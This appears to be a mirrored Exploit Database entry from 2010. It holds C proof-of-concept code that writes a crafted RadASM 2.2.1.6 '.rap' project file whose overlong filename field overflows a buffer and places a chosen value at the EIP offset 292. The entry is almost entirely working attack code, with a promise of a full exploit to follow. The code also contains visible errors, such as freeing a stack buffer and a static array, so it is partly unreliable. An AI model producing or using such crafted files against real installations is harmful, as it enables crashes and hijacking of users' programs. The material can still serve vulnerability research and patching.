RadASM 2.2.1.6 – ‘.rap’ Local Buffer Overflow (PoC)

• Exploit Database
• 13 阅读

• 作者： fl0 fl0w
  日期： 2010-02-11
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/11392/

• /*Radasm .rap file local buffer overflow POC
   I'll be back in a few hours with the exploit.
   The vuln is in the filename field.
   snip
   [Files]...1=AVP OVERFLOW...
   snip 
  */
  #include<stdio.h>
  void gen_random(char*,const int);
  void print(char*);
  unsigned int getFsize(FILE*,char*);
  void buildfile(char*);
  #define VULNF "qq.rap"
  #define VER "2.2.1.6"
  #define POCNAME "Radasm .rap file local buffer overflow POC"
  #define AUTHOR"fl0 fl0w"
  #define IF(x,NULL)if(x==NULL)
  #define FOR(i,a,b)for(i=a;i<b;++i)
  #define EIPOFFSET 0xDD
  #define NUL '\0'
  #define CLEAR(x)free(x)
  char file[]={ //1534 bytes
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   int main(){
   printf("[!]%s\n[!]%s\n[!]By %s\n",POCNAME,VER,AUTHOR);
   buildfile(VULNF);
   print("DONE!"); 
  getchar();
  return 0;
   }
  void buildfile(char* fname){
  char buffer[100000];
  char eip[]="\x55\x55\x55\x55"; //offset=292 
   gen_random(buffer,5000);
   memcpy(buffer,file,strlen(file));
   memcpy(buffer+292,eip,4);
   FILE* f=fopen(fname,"wb");
   if(f){
   fwrite(buffer,1,1534,f);
  fclose(f);
   }
  else {
   print("Error in writing file");
  exit(0);
   } 
   free(buffer);
   free(file);
   int sz=getFsize(f,fname);
   printf("[!]File is %d bytes\n",sz);
   }
  unsigned int getFsize(FILE* g,char* gname)
  {
   unsigned int s;
  
   g=fopen(gname,"rb");
   
   IF(g,NULL)
   {
   print("File error at reading");
   exit(0);
   }
   fseek(g,0,SEEK_END);
   s=ftell(g);
   
   return s;
  }
  void print(char* msg)
  { 
   printf("[*]%s\n",msg); 
  } 
  void gen_random(char *s, const int len)
  { int i; //helps u find the offsets 
  static const char alphanum[] ="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
   
  FOR(i,0,len)
  {
  s[i]=alphanum[rand()%(sizeof(alphanum)-1)];
  }
   s[len]=0;
  }